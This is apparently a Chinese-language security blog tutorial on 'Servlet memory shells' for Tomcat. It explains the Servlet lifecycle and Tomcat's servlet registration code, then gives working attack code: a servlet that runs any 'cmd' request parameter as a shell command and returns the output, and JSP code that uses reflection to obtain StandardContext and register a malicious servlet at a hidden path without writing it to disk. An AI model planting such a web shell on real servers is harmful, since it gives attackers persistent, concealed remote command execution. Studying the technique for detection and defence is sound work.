Servlet内存马

Servlet内存马

前置基础

什么是Servlet

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层

它在应用程序中的位置如下图所示,很类似于中间件

Servlet请求处理过程

客户端发起http请求,比如get类型

Servlet容器接收到请求,根据请求信息,封装为HttpServletRequestHttpServletResponse对象,这就是我们的传参

Servlet容器调用HttpServlet的init方法,init方法旨在第一次请求时被调用

Servlet容器调用service方法

service方法根据请求类型(这里为get请求),分别调用doGet或者doPost方法,这里我们调用doGet方法

doXXX方法中是我们自己写的业务逻辑

业务逻辑处理完成,返回给Servlet容器,然后容器将结果返回给客户端

容器关闭时,会调用destory方法

环境配置

我们首先需要创建一个JavaWeb项目

  • JDK8u65
  • 在pom.xml中导入tomcat的包
1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.61</version>
</dependency>

分析

Servlet接口分析

我们可以看一下Servlet接口中有哪些方法,每个方法的作用如下
1
2
3
4
5
6
7
8
9
10
11
public interface Servlet {  
void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。

ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数

void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。

String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.

void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源
}

如果说我们需要在一个地方中写入恶意代码,那么应该是需要写在service方法中

小demo

接下来我们去构造一个恶意Servlet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

// 基础恶意类
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{

Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
res.getWriter().println(line);
}
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}

web.xml中配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>myServlet</servlet-name> <!-- Servlet 的名称 -->
<servlet-class>ServletTest</servlet-class> <!-- Servlet 的全类名 -->
</servlet>

<!-- 2. 映射 Servlet 到 URL -->
<servlet-mapping>
<servlet-name>myServlet</servlet-name> <!-- 上面定义的 servlet 名称 -->
<url-pattern>/myServlet</url-pattern> <!-- URL 映射路径 -->
</servlet-mapping>
</web-app>

将tomcat运行起来后,访问[http://localhost:8080/myServlet?cmd=whoami](http://localhost:8080/myServlet?cmd=whoami),成功执行命令并回显

注册流程分析

tomcat解析xml文件的具体流程在这里不分析,我们直接看到解析xml文件后做注册的地方ContextConfig#configureContext

注册大概流程如下

  1. 创建一个wrapper
  2. 设置servlet的名字
  3. 设置servlet相关联的类
  4. 将wrapper加入到context中
  5. 配置路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
private void configureContext(WebXml webxml) {
......
for (ServletDef servlet : webxml.getServlets().values()) {
//创建一个wrapper
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored

// jsp-file gets passed to the JSP Servlet as an init-param

if (servlet.getLoadOnStartup() != null) {
//预加载
//serlvet一般在访问后创建,如果设置相关配置,即可在访问创建
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置servlet名字
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置关联的类
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;

if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}

wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
//将wrapper加入到context中
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
//配置路径
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
......
}

启动服务时走入该方法后,即可看到有两个自带的servlet和我们自己配置的serlvet

实现

实现条件

要实现内存马,有两个条件
  1. 写一个servlet木马
  2. 将servlet注册入tomcat中

写servlet马

我们仿照默认的Servlet来写一个恶意类,使我们的主机弹计算器即可(jsp中定义东西需要使用**<%! %>**)

若有需要,可以自行实现回显木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%!
public class HelloServlet extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc");
}

public void destroy() {
}
}
%>

动态注册servlet

动态注册中分为两步

  1. 获取standardcontext
  2. 注册进tomcat

获取standardcontext

在jsp中默认有一个request对象,这个对象中存在一个getServletContext方法,会获取一个servletContext

在动态调试中,我们可以看到,servletContext中存在一个ApplicationContext,而在ApplicationContext中即存在着standardcontext,是我们想要获取的对象

接下来我们就要通过servletContext来获取standardcontext

由于私有属性无法直接被获取,所以我们要通过反射特性来获取属性

1
2
3
4
5
6
7
8
9
10
<%
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);

Field standardContext = applicationContext.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext context1 = (StandardContext) standardContext.get(applicationContext);
%>

注册进tomcat

注册进tomcat就和下面分析的流程是一样的,但不需要加多余的判断等东西

需要注意,注册的过程中多一个实例化Servlet并setServlet的步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%
//获取standardcontext
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);

Field standardContext = applicationContext.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext context1 = (StandardContext) standardContext.get(applicationContext);

//注册进tomcat
Wrapper wrapper = context1.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
//实例化Servlet
wrapper.setServlet(new MemServlet());

context1.addChild(wrapper);
context1.addServletMappingDecoded("/mem","MemServlet");
%>

激活

想要访问内存马,就要访问我们创建的jsp文件,创建恶意类servlet并注册进tomcat中

然后即可访问我们所设定的内存马路径,触发恶意代码